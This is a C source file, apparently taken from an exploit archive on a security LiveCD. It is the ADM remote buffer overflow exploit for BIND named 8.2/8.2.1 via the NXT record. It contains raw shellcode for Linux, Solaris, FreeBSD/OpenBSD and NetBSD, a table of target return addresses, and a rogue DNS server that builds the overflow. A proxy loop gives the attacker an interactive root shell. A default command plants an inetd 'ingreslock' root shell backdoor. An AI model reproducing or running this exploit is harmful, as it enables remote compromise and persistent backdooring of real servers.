home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / t666.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  19KB  |  544 lines
  1. /*
  2.  * ADM CONFIDENTIAL -- (ADM Confidential Restricted when
  3.  * combined with the aggregated modules for this product)
  4.  * OBJECT CODE ONLY SOURCE MATERIALS
  5.  * (C) COPYRIGHT ADM Crew. 1999
  6.  * All Rights Reserved
  7.  *
  8.  * This module may not be used, published, distributed or archived without 
  9.  * the written permission of the ADM Crew. Please contact your local sales 
  10.  * representative.
  11.  *
  12.  * ADM named 8.2/8.2.1 NXT remote overflow - horizon/plaguez 
  13.  *
  14.  * "a misanthropic anthropoid with nothing to say"
  15.  *
  16.  * thanks to stran9er for sdnsofw.c
  17.  *
  18.  * Intel exploitation is pretty straightforward.. should give you a remote
  19.  * shell. The shellcode will break chroot, do a getpeername on all open 
  20.  * sockets, and dup to the first one that returns AFINET. It also forks and
  21.  * runs a command in case the fd duping doesn't go well.  Solaris/SPARC is a 
  22.  * bit more complicated.. we are going through a well trodden part of the 
  23.  * code, so we don't get the context switch we need to have it populate the 
  24.  * register windows from the stack. However, if you just hammer the service 
  25.  * with requests, you will quickly get a context switch at the right time. 
  26.  * Thus, the SPARC shellcode currently only breaks chroot, closes current 
  27.  * fd's and runs a command.
  28.  * Also, the NetBSD shellcode doesn't break chroot because they stop the
  29.  * dir tricks. Of course, they allow mknods in chrooted environments, so 
  30.  * if named is running as root, then it still might be expoitable.
  31.  * The non-exec stack patch version returns into a malloc'ed buffer, whose 
  32.  * address can vary quite alot. Thus, it may not be as reliable as the other 
  33.  * versions..
  34.  *
  35.  */
  36.  
  37. #include <stdio.h>
  38. #include <unistd.h>
  39. #include <stdlib.h>
  40. #include <signal.h>
  41. #include <time.h>
  42. #include <string.h>
  43. #include <ctype.h>
  44. #include <sys/types.h>
  45. #include <sys/socket.h>
  46. #include <netinet/in.h>
  47. #include <arpa/inet.h>
  48. #include <arpa/nameser.h>
  49. #include <netdb.h>
  50.  
  51. char linuxcode[]=
  52.   {0xe9,0xac,0x1,0x0,0x0,0x5e,0x89,0x76,0xc,0x8d,0x46,0x8,0x89,0x46,0x10,0x8d,
  53.    0x46,0x2e,0x89,0x46,0x14,0x56,0xeb,0x54,0x5e,0x89,0xf3,0xb9,0x0,0x0,0x0,0x0,
  54.    0xba,0x0,0x0,0x0,0x0,0xb8,0x5,0x0,0x0,0x0,0xcd,0x80,0x50,0x8d,0x5e,0x2,0xb9,
  55.    0xff,0x1,0x0,0x0,0xb8,0x27,0x0,0x0,0x0,0xcd,0x80,0x8d,0x5e,0x2,0xb8,0x3d,0x0,
  56.    0x0,0x0,0xcd,0x80,0x5b,0x53,0xb8,0x85,0x0,0x0,0x0,0xcd,0x80,0x5b,0xb8,0x6,
  57.    0x0,0x0,0x0,0xcd,0x80,0x8d,0x5e,0xb,0xb8,0xc,0x0,0x0,0x0,0xcd,0x80,0x89,0xf3,
  58.    0xb8,0x3d,0x0,0x0,0x0,0xcd,0x80,0xeb,0x2c,0xe8,0xa7,0xff,0xff,0xff,0x2e,0x0,
  59.    0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
  60.    0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
  61.    0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x0,0x5e,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x89,
  62.    0xc0,0x85,0xc0,0xf,0x85,0x8e,0x0,0x0,0x0,0x89,0xf3,0x8d,0x4e,0xc,0x8d,0x56,
  63.    0x18,0xb8,0xb,0x0,0x0,0x0,0xcd,0x80,0xb8,0x1,0x0,0x0,0x0,0xcd,0x80,0xe8,0x75,
  64.    0x0,0x0,0x0,0x10,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x74,0x68,0x69,0x73,0x69,0x73,
  65.    0x73,0x6f,0x6d,0x65,0x74,0x65,0x6d,0x70,0x73,0x70,0x61,0x63,0x65,0x66,0x6f,
  66.    0x72,0x74,0x68,0x65,0x73,0x6f,0x63,0x6b,0x69,0x6e,0x61,0x64,0x64,0x72,0x69,
  67.    0x6e,0x79,0x65,0x61,0x68,0x79,0x65,0x61,0x68,0x69,0x6b,0x6e,0x6f,0x77,0x74,
  68.    0x68,0x69,0x73,0x69,0x73,0x6c,0x61,0x6d,0x65,0x62,0x75,0x74,0x61,0x6e,0x79,
  69.    0x77,0x61,0x79,0x77,0x68,0x6f,0x63,0x61,0x72,0x65,0x73,0x68,0x6f,0x72,0x69,
  70.    0x7a,0x6f,0x6e,0x67,0x6f,0x74,0x69,0x74,0x77,0x6f,0x72,0x6b,0x69,0x6e,0x67,
  71.    0x73,0x6f,0x61,0x6c,0x6c,0x69,0x73,0x63,0x6f,0x6f,0x6c,0xeb,0x86,0x5e,0x56,
  72.    0x8d,0x46,0x8,0x50,0x8b,0x46,0x4,0x50,0xff,0x46,0x4,0x89,0xe1,0xbb,0x7,0x0,
  73.    0x0,0x0,0xb8,0x66,0x0,0x0,0x0,0xcd,0x80,0x83,0xc4,0xc,0x89,0xc0,0x85,0xc0,
  74.    0x75,0xda,0x66,0x83,0x7e,0x8,0x2,0x75,0xd3,0x8b,0x56,0x4,0x4a,0x52,0x89,0xd3,
  75.    0xb9,0x0,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x52,0x89,0xd3,
  76.    0xb9,0x1,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x52,0x89,0xd3,
  77.    0xb9,0x2,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0xeb,0x12,0x5e,0x46,
  78.    0x46,0x46,0x46,0x46,0xc7,0x46,0x10,0x0,0x0,0x0,0x0,0xe9,0xfe,0xfe,0xff,0xff,
  79.    0xe8,0xe9,0xff,0xff,0xff,0xe8,0x4f,0xfe,0xff,0xff,0x2f,0x62,0x69,0x6e,0x2f,
  80.    0x73,0x68,0x0,0x2d,0x63,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
  81.    0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x70,0x6c,0x61,0x67,0x75,0x65,0x7a,0x5b,
  82.    0x41,0x44,0x4d,0x5d,0x31,0x30,0x2f,0x39,0x39,0x2d};
  83.  
  84. char sc[]=
  85.   {0x40,0x0,0x0,0x2e,0x1,0x0,0x0,0x0,0x90,0x3,0xe0,0xd5,0x92,0x10,0x20,0x0,
  86.    0x82,0x10,0x20,0x5,0x91,0xd0,0x20,0x0,0xa0,0x10,0x0,0x8,0x90,0x3,0xe0,0xcc,
  87.    0x92,0x10,0x21,0xff,0x82,0x10,0x20,0x50,0x91,0xd0,0x20,0x0,0x90,0x3,0xe0,
  88.    0xcc,0x82,0x10,0x20,0x3d,0x91,0xd0,0x20,0x0,0x90,0x10,0x0,0x10,0x82,0x10,
  89.    0x20,0x78,0x91,0xd0,0x20,0x0,0x90,0x10,0x0,0x10,0x82,0x10,0x20,0x6,0x91,0xd0,
  90.    0x20,0x0,0x90,0x3,0xe0,0xd7,0x82,0x10,0x20,0xc,0x91,0xd0,0x20,0x0,0x90,0x3,
  91.    0xe0,0xd5,0x82,0x10,0x20,0x3d,0x91,0xd0,0x20,0x0,0xa0,0x10,0x20,0x0,0x90,
  92.    0x10,0x0,0x10,0x82,0x10,0x20,0x6,0x91,0xd0,0x20,0x0,0xa0,0x4,0x20,0x1,0x80,
  93.    0xa4,0x20,0x1e,0x4,0xbf,0xff,0xfb,0x1,0x0,0x0,0x0,0x90,0x3,0xe0,0xc0,0xa0,
  94.    0x3,0xe0,0xc5,0xe0,0x23,0xbf,0xf0,0xa0,0x3,0xe0,0xc9,0xe0,0x23,0xbf,0xf4,
  95.    0xa0,0x3,0xe1,0x5,0xe0,0x23,0xbf,0xf8,0xc0,0x23,0xbf,0xfc,0x92,0x3,0xbf,0xf0,
  96.    0x94,0x3,0xbf,0xfc,0x82,0x10,0x20,0x3b,0x91,0xd0,0x20,0x0,0x81,0xc3,0xe0,0x8,
  97.    0x1,0x0,0x0,0x0,0x2f,0x62,0x69,0x6e,0x2f,0x6b,0x73,0x68,0x0,0x2d,0x63,0x0,
  98.    0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x0,0x2e,0x2e,0x2f,0x2e,
  99.    0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,
  100.    0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x0,0x68,0x6f,0x72,0x69,0x7a,0x6f,
  101.    0x6e,0x5b,0x41,0x44,0x4d,0x5d,0x31,0x30,0x2f,0x39,0x39,0x0};
  102.  
  103. char bsdcode[]=
  104.   {0xe9,0xd4,0x1,0x0,0x0,0x5e,0x31,0xc0,0x50,0x50,0xb0,0x17,0xcd,0x80,0x31,0xc0,
  105.    0x50,0x50,0x56,0x50,0xb0,0x5,0xcd,0x80,0x89,0x46,0x28,0xb9,0xff,0x1,0x0,0x0,
  106.    0x51,0x8d,0x46,0x2,0x50,0x50,0xb8,0x88,0x0,0x0,0x0,0xcd,0x80,0x8d,0x46,0x2,
  107.    0x50,0x50,0xb8,0x3d,0x0,0x0,0x0,0xcd,0x80,0x8b,0x46,0x28,0x50,0x50,0xb8,0xa7,
  108.    0x0,0x0,0x0,0x34,0xaa,0xcd,0x80,0x8d,0x46,0xb,0x50,0x50,0xb8,0xa6,0x0,0x0,
  109.    0x0,0x34,0xaa,0xcd,0x80,0x8d,0x46,0x21,0x48,0x50,0x50,0xb8,0x3d,0x0,0x0,0x0,
  110.    0xcd,0x80,0x50,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x85,0xc0,0xf,0x85,0xe6,0x0,
  111.    0x0,0x0,0x8d,0x56,0x38,0x89,0x56,0x28,0x8d,0x46,0x40,0x89,0x46,0x2c,0x8d,
  112.    0x46,0x43,0x89,0x46,0x30,0x8d,0x46,0x30,0x50,0x8d,0x46,0x28,0x50,0x52,0x50,
  113.    0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0x50,0x50,0xb8,0x1,0x0,0x0,0x0,0xcd,0x80,
  114.    0xe8,0xbc,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x62,0x6c,0x61,0x68,
  115.    0x62,0x6c,0x61,0x68,0x73,0x61,0x6d,0x65,0x74,0x68,0x69,0x6e,0x67,0x79,0x65,
  116.    0x74,0x61,0x6e,0x6f,0x74,0x68,0x65,0x72,0x73,0x70,0x61,0x63,0x65,0x66,0x6f,
  117.    0x72,0x61,0x73,0x6f,0x63,0x6b,0x61,0x64,0x64,0x72,0x73,0x74,0x72,0x75,0x63,
  118.    0x74,0x75,0x72,0x65,0x62,0x75,0x74,0x74,0x68,0x69,0x73,0x74,0x69,0x6d,0x65,
  119.    0x66,0x6f,0x72,0x74,0x68,0x65,0x62,0x73,0x64,0x73,0x68,0x65,0x6c,0x6c,0x63,
  120.    0x6f,0x64,0x65,0x66,0x6f,0x72,0x74,0x75,0x6e,0x61,0x74,0x6c,0x79,0x74,0x68,
  121.    0x69,0x73,0x77,0x69,0x6c,0x6c,0x77,0x6f,0x72,0x6b,0x69,0x68,0x6f,0x70,0x65,
  122.    0x6f,0x6b,0x69,0x74,0x68,0x69,0x6e,0x6b,0x65,0x6e,0x6f,0x75,0x67,0x68,0x73,
  123.    0x70,0x61,0x63,0x65,0x6e,0x6f,0x77,0x0,0x70,0x6c,0x61,0x67,0x75,0x65,0x7a,
  124.    0x5b,0x41,0x44,0x4d,0x5d,0x20,0x42,0x53,0x44,0x20,0x63,0x72,0x61,0x70,0x70,
  125.    0x79,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x20,0x2d,0x20,0x31,
  126.    0x30,0x2f,0x39,0x39,0x31,0xd2,0xe9,0x3f,0xff,0xff,0xff,0x8d,0x46,0x4,0x50,
  127.    0x8d,0x46,0x8,0x50,0x52,0x52,0xb8,0x1f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x83,0xf8,
  128.    0x0,0x75,0x6,0x80,0x7e,0x9,0x2,0x74,0xc,0x52,0x52,0xb8,0x6,0x0,0x0,0x0,0xcd,
  129.    0x80,0x42,0xeb,0xd7,0x6a,0x0,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,
  130.    0x1,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,0x2,0x52,0x52,0xb8,0x5a,
  131.    0x0,0x0,0x0,0xcd,0x80,0xeb,0x29,0x5e,0x46,0x46,0x46,0x46,0x46,0x8d,0x56,0x38,
  132.    0x89,0x56,0x28,0xc7,0x46,0x2c,0x0,0x0,0x0,0x0,0x8d,0x46,0x34,0x50,0x8d,0x46,
  133.    0x28,0x50,0x52,0x52,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0xe9,0xc1,0xfe,0xff,0xff,
  134.    0xe8,0xd2,0xff,0xff,0xff,0xe8,0x27,0xfe,0xff,0xff,0x2e,0x0,0x41,0x44,0x4d,
  135.    0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
  136.    0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
  137.    0x0,0x2e,0x2f,0x0,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
  138.    0xff,0x0,0x0,0x0,0x0,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x0,0x2d,0x63,0x0,
  139.    0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x59,0x4f,0x59,0x4f,
  140.    0x59,0x4f,0x0};
  141.  
  142. char bsdnochroot[]=
  143.   {0xe9,0x79,0x1,0x0,0x0,0x5e,0x50,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x85,0xc0,0xf,
  144.    0x85,0xe6,0x0,0x0,0x0,0x8d,0x56,0x38,0x89,0x56,0x28,0x8d,0x46,0x40,0x89,0x46,
  145.    0x2c,0x8d,0x46,0x43,0x89,0x46,0x30,0x8d,0x46,0x30,0x50,0x8d,0x46,0x28,0x50,
  146.    0x52,0x50,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0x50,0x50,0xb8,0x1,0x0,0x0,0x0,
  147.    0xcd,0x80,0xe8,0xbc,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0x0,0x0,0x0,0x62,0x6c,
  148.    0x61,0x68,0x62,0x6c,0x61,0x68,0x73,0x61,0x6d,0x65,0x74,0x68,0x69,0x6e,0x67,
  149.    0x79,0x65,0x74,0x61,0x6e,0x6f,0x74,0x68,0x65,0x72,0x73,0x70,0x61,0x63,0x65,
  150.    0x66,0x6f,0x72,0x61,0x73,0x6f,0x63,0x6b,0x61,0x64,0x64,0x72,0x73,0x74,0x72,
  151.    0x75,0x63,0x74,0x75,0x72,0x65,0x62,0x75,0x74,0x74,0x68,0x69,0x73,0x74,0x69,
  152.    0x6d,0x65,0x66,0x6f,0x72,0x74,0x68,0x65,0x62,0x73,0x64,0x73,0x68,0x65,0x6c,
  153.    0x6c,0x63,0x6f,0x64,0x65,0x66,0x6f,0x72,0x74,0x75,0x6e,0x61,0x74,0x6c,0x79,
  154.    0x74,0x68,0x69,0x73,0x77,0x69,0x6c,0x6c,0x77,0x6f,0x72,0x6b,0x69,0x68,0x6f,
  155.    0x70,0x65,0x6f,0x6b,0x69,0x74,0x68,0x69,0x6e,0x6b,0x65,0x6e,0x6f,0x75,0x67,
  156.    0x68,0x73,0x70,0x61,0x63,0x65,0x6e,0x6f,0x77,0x0,0x70,0x6c,0x61,0x67,0x75,
  157.    0x65,0x7a,0x5b,0x41,0x44,0x4d,0x5d,0x20,0x42,0x53,0x44,0x20,0x63,0x72,0x61,
  158.    0x70,0x70,0x79,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x20,0x2d,
  159.    0x20,0x31,0x30,0x2f,0x39,0x39,0x31,0xd2,0xe9,0x3f,0xff,0xff,0xff,0x5e,0x8d,
  160.    0x46,0x4,0x50,0x8d,0x46,0x8,0x50,0x52,0x52,0xb8,0x1f,0x0,0x0,0x0,0xcd,0x80,
  161.    0x5a,0x83,0xf8,0x0,0x75,0x6,0x80,0x7e,0x9,0x2,0x74,0xc,0x52,0x52,0xb8,0x6,
  162.    0x0,0x0,0x0,0xcd,0x80,0x42,0xeb,0xd7,0x6a,0x0,0x52,0x52,0xb8,0x5a,0x0,0x0,
  163.    0x0,0xcd,0x80,0x6a,0x1,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,0x2,
  164.    0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0xeb,0x29,0x5e,0x46,0x46,0x46,0x46,
  165.    0x46,0x8d,0x56,0x38,0x89,0x56,0x28,0xc7,0x46,0x2c,0x0,0x0,0x0,0x0,0x8d,0x46,
  166.    0x34,0x50,0x8d,0x46,0x28,0x50,0x52,0x52,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0xe9,
  167.    0xc0,0xfe,0xff,0xff,0xe8,0xd2,0xff,0xff,0xff,0xe8,0x82,0xfe,0xff,0xff,0x2e,
  168.    0x0,0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,
  169.    0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,
  170.    0x2f,0x2e,0x2e,0x2f,0x0,0x2e,0x2f,0x0,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
  171.    0xff,0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,
  172.    0x0,0x2d,0x63,0x0,0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,
  173.    0x59,0x4f,0x59,0x4f,0x59,0x4f,0x0};
  174.  
  175. struct arch
  176.   {
  177.     int id;
  178.     char *name;
  179.     char *code;
  180.     int codesize;
  181.     unsigned long safe;
  182.     unsigned long ret;
  183.     int length;
  184.   };
  185.  
  186. struct arch archlist[] =
  187.     {
  188.       {
  189.         1, "Linux Redhat 6.x    - named 8.2/8.2.1 (from rpm)", linuxcode,
  190.         sizeof(linuxcode), 0, 0xbfffd6c3, 6500
  191.       },
  192.       {2, "Linux SolarDiz's non-exec stack patch - named 8.2/8.2.1",linuxcode,
  193.        sizeof(linuxcode), 0, 0x80f79ae, 6500},
  194.       {3, "Solaris 7 (0xff)    - named 8.2.1", sc, sizeof(sc), 0xffbea738,
  195.        0xffbedbd0, 11000},
  196.       {4, "Solaris 2.6         - named 8.2.1", sc, sizeof(sc), 0xefffa000,
  197.        0xefffe5d0, 11000},
  198.       {5, "FreeBSD 3.2-RELEASE - named 8.2", bsdcode, sizeof(bsdcode), 1,
  199.        0xbfbfbdb8, 7000},
  200.       {6, "OpenBSD 2.5         - named 8.2", bsdcode, sizeof(bsdcode), 1,
  201.        0xefbfbb00, 7000},
  202.       {7, "NetBSD 1.4.1        - named 8.2.1", bsdnochroot, sizeof(bsdnochroot), 1,
  203.        0xefbfbb00, 7000},
  204.       {0, 0, 0, 0}
  205.     };
  206.  
  207. int arch=0;
  208. char *command=0;
  209.  
  210. /* these two dns routines from dspoof/jizz */
  211.  
  212. /* pull out a compressed query name */
  213. char *dnssprintflabel(char *s, char *buf, char *p)
  214. {
  215.   unsigned short i,len;
  216.   char *b=NULL;
  217.  
  218.   len=(unsigned short)*(p++);
  219.   while (len)
  220.     {
  221.       while (len >= 0xC0)
  222.         {
  223.           if (!b)
  224.             b=p+1;
  225.           p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000);
  226.           len=(unsigned short)*(p++);
  227.         }
  228.  
  229.       for (i=0;i<len;i++)
  230.         *(s++)=*(p++);
  231.  
  232.       *(s++)='.';
  233.  
  234.       len=(unsigned short)*(p++);
  235.     }
  236.  
  237.   *(s++)=0;
  238.   if (b)
  239.     return(b);
  240.  
  241.   return(p);
  242. }
  243.  
  244. /* store a query name */
  245. char *dnsaddlabel(char *p, char *label)
  246. {
  247.   char *p1;
  248.  
  249.   while ((*label) && (label))
  250.     {
  251.       if ((*label == '.') && (!*(label+1)))
  252.         break;
  253.  
  254.       p1=strchr(label,'.');
  255.  
  256.       if (!p1)
  257.         p1=strchr(label,0);
  258.  
  259.       *(p++)=p1-label;
  260.       memcpy(p,label,p1-label);
  261.       p+=p1-label;
  262.  
  263.       label=p1;
  264.       if (*p1)
  265.         label++;
  266.     }
  267.   *(p++)=0;
  268.  
  269.   return(p);
  270. }
  271.  
  272. void make_overflow(char *a)
  273. {
  274.   int i;
  275.   unsigned long *b;
  276.   unsigned char *c;
  277.   char sbuf[4096];
  278.  
  279.   if (archlist[arch].safe==0) /* linux */
  280.     {
  281.       memset(a,0x90,4134);
  282.       memcpy(a+3500,archlist[arch].code,archlist[arch].codesize);
  283.  
  284.       if (command)
  285.         strcpy(a+3500+archlist[arch].codesize, command);
  286.       else
  287.         strcpy(a+3500+archlist[arch].codesize, "exit");
  288.  
  289.       b=(unsigned long*)(a+4134);
  290.       for (i=0;i<20;i++)
  291.         *b++=archlist[arch].ret;
  292.     }
  293.   else if (archlist[arch].safe==1) /* bsd */
  294.     {
  295.       memset(a,0x90,4134);
  296.       memcpy(a+3300,archlist[arch].code,archlist[arch].codesize);
  297.  
  298.       if (command)
  299.         strcpy(a+3300+archlist[arch].codesize, command);
  300.       else
  301.         strcpy(a+3300+archlist[arch].codesize, "exit");
  302.  
  303.       b=(unsigned long*)(a+4134);
  304.       for (i=0;i<20;i++)
  305.         *b++=archlist[arch].ret;
  306.     }
  307.   else /*SPARC*/
  308.     {
  309.       memset(a,0x0,11000);
  310.  
  311.       b=(unsigned long*)(a+4438);
  312.  
  313.       for (i=0;i<1500;i++)
  314.         *b++=htonl(0xac15a16e);
  315.  
  316.       c=(char *)b;
  317.  
  318.       for (i=0;i<archlist[arch].codesize;i++)
  319.         *c++=archlist[arch].code[i];
  320.       if (command)
  321.         strcpy(c, command);
  322.       else
  323.         strcpy(c, "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\" \
  324.                >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob;/bin/rm -f /tmp/bob ");
  325.  
  326.       b=(unsigned long*)(a+4166);
  327.  
  328.       *b++=htonl(0xdeadbeef);
  329.       *b++=htonl(0xdeadbeef);
  330.       *b++=htonl(archlist[arch].safe);       //i2 - significant
  331.       *b++=htonl(0xdeadbeef);
  332.       *b++=htonl(0xdeadbeef);
  333.       *b++=htonl(archlist[arch].safe);       //i5 - significant
  334.       *b++=htonl(0xdeadbeef);
  335.       *b++=htonl(0xdeadbeef);
  336.  
  337.       *b++=htonl(archlist[arch].safe);       //o0 - significant
  338.       *b++=htonl(0xdeadbeef);
  339.       *b++=htonl(archlist[arch].safe);       //o2 - significant
  340.       *b++=htonl(0xdeadbeef);
  341.       *b++=htonl(0xdeadbeef);
  342.       *b++=htonl(0xdeadbeef);
  343.       *b++=htonl(archlist[arch].safe);       //o6 - significant
  344.       *b++=htonl(archlist[arch].ret);        //o7 - retaddr
  345.     }
  346.  
  347. }
  348.  
  349. int form_response(HEADER *packet, char *buf)
  350. {
  351.   char query[512];
  352.   int qtype;
  353.   HEADER *dnsh;
  354.   char *p;
  355.   char *walker;
  356.  
  357.   memset(buf,0,sizeof(buf));
  358.  
  359.   dnsh = (HEADER *) buf;
  360.   dnsh->id = packet->id;
  361.   dnsh->qr=1;
  362.   dnsh->aa=1;
  363.   dnsh->qdcount = htons(1);
  364.   dnsh->ancount = htons(1);
  365.   dnsh->arcount = htons(1);
  366.   dnsh->rcode = 0;
  367.  
  368.   walker=(char*)(dnsh+1);
  369.  
  370.   p=dnssprintflabel(query, (char *)packet, (char*)(packet+1));
  371.   query[strlen(query) - 1] = 0;
  372.  
  373.   qtype=*((unsigned short *)p);
  374.  
  375.   printf("%s type=%d\n",query, ntohs(qtype));
  376.  
  377.   /* first, the query */
  378.  
  379.   walker=dnsaddlabel(walker, query);
  380.   PUTSHORT(ntohs(qtype), walker);
  381.   //PUTSHORT(htons(T_PTR), walker);
  382.   PUTSHORT(1,walker);
  383.  
  384.   /* then, our answer */
  385.   /* query IN A 1.2.3.4 */
  386.  
  387.   walker=dnsaddlabel(walker, query);
  388.   PUTSHORT(T_A, walker);
  389.   PUTSHORT(1, walker);
  390.   PUTLONG(60*5, walker);
  391.   PUTSHORT(4, walker);
  392.   sprintf(walker,"%c%c%c%c",1,2,3,4);
  393.   walker+=4;
  394.  
  395.   /* finally, we make named do something more interesting */
  396.  
  397.   walker=dnsaddlabel(walker, query);
  398.   PUTSHORT(T_NXT, walker);
  399.   PUTSHORT(1, walker);
  400.   PUTLONG(60*5, walker);
  401.  
  402.   /* the length of one label and our arbitrary data */
  403.  
  404.   PUTSHORT(archlist[arch].length+7, walker);
  405.  
  406.   PUTSHORT(6, walker);
  407.   sprintf(walker,"admadm");
  408.   walker+=6;
  409.   PUTSHORT(0, walker);
  410.  
  411.   make_overflow(walker);
  412.   walker+=archlist[arch].length;
  413.   PUTSHORT(0, walker);
  414.   return walker-buf;
  415. }
  416.  
  417. #define max(x,y) ((x)>(y)?(x):(y))
  418.  
  419. int proxyloop(int s)
  420. {
  421.   char snd[1024], rcv[1024];
  422.   fd_set rset;
  423.   int maxfd, n;
  424.  
  425.   sleep(1);
  426.   printf("Entering proxyloop..\n");
  427.   strcpy(snd, "cd /; uname -a; pwd; id;\n");
  428.   write(s, snd, strlen(snd));
  429.  
  430.   for (;;)
  431.     {
  432.       FD_SET(fileno(stdin), &rset);
  433.       FD_SET(s, &rset);
  434.       maxfd = max(fileno(stdin), s) + 1;
  435.       select(maxfd, &rset, NULL, NULL, NULL);
  436.       if (FD_ISSET(fileno(stdin), &rset))
  437.         {
  438.           bzero(snd, sizeof(snd));
  439.           fgets(snd, sizeof(snd) - 2, stdin);
  440.           write(s, snd, strlen(snd));
  441.         }
  442.       if (FD_ISSET(s, &rset))
  443.         {
  444.           bzero(rcv, sizeof(rcv));
  445.           if ((n = read(s, rcv, sizeof(rcv))) == 0)
  446.             exit(0);
  447.           if (n < 0)
  448.             {
  449.               return -3;
  450.             }
  451.           fputs(rcv, stdout);
  452.         }
  453.     }
  454.   return 0;
  455. }
  456.  
  457. int main(int argc, char **argv)
  458. {
  459.   int s, fromlen, res, sl, s2;
  460.   struct sockaddr_in sa, from, to;
  461.   char buf[16384];
  462.   char sendbuf[16384];
  463.   unsigned short ts;
  464.   int i;
  465.  
  466.   if (argc<2)
  467.     {
  468.       fprintf(stderr,"Usage: %s architecture [command]\n", argv[0]);
  469.       fprintf(stderr,"Available architectures:\n");
  470.       i=-1;
  471.       while(archlist[++i].id)
  472.         fprintf(stderr,"  %d: %s\n",archlist[i].id,archlist[i].name);
  473.       exit(1);
  474.     }
  475.  
  476.   arch=atoi(argv[1])-1;
  477.  
  478.   if (argc==3)
  479.     command=argv[2];
  480.  
  481.   if ((s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))==-1)
  482.     {
  483.       perror("socket");
  484.       exit(1);
  485.     }
  486.  
  487.   bzero(&sa, sizeof sa);
  488.  
  489.   sa.sin_family=AF_INET;
  490.   sa.sin_addr.s_addr=INADDR_ANY;
  491.   sa.sin_port=htons(53);
  492.  
  493.   if (bind(s, (struct sockaddr *)&sa, sizeof(sa))==-1)
  494.     {
  495.       perror("bind");
  496.       exit(1);
  497.     }
  498.  
  499.   do
  500.     {
  501.       fromlen=sizeof(from);
  502.       if ((res=recvfrom(s, buf, sizeof buf, 0, (struct sockaddr *)&from,
  503.                         &fromlen)) == -1)
  504.         {
  505.           perror("recvfrom");
  506.           exit(1);
  507.         }
  508.  
  509.       printf("Received request from %s:%d for ", inet_ntoa(from.sin_addr),
  510.              ntohs(from.sin_port));
  511.  
  512.       sl=form_response((HEADER *)buf,sendbuf);
  513.  
  514.       /* now lets connect to the nameserver */
  515.  
  516.       bzero(&to, sizeof(to));
  517.       to.sin_family=AF_INET;
  518.       to.sin_addr=from.sin_addr;
  519.       to.sin_port=htons(53);
  520.  
  521.       if ((s2=socket(AF_INET, SOCK_STREAM, 0))==-1)
  522.         {
  523.           perror("socket");
  524.           exit(1);
  525.         }
  526.  
  527.       if (connect(s2, (struct sockaddr *)&to, sizeof to)==-1)
  528.         {
  529.           perror("connect");
  530.           exit(1);
  531.         }
  532.  
  533.       ts=htons(sl);
  534.       write(s2,&ts,2);
  535.  
  536.       write(s2,sendbuf,sl);
  537.       if (archlist[arch].safe>1)
  538.         close(s2);
  539.     }
  540.   while (archlist[arch].safe>1); /* infinite loop for sparc */
  541.   proxyloop(s2);
  542.   exit(1);
  543. }
  544. /*                    www.hack.co.za              [2000]*/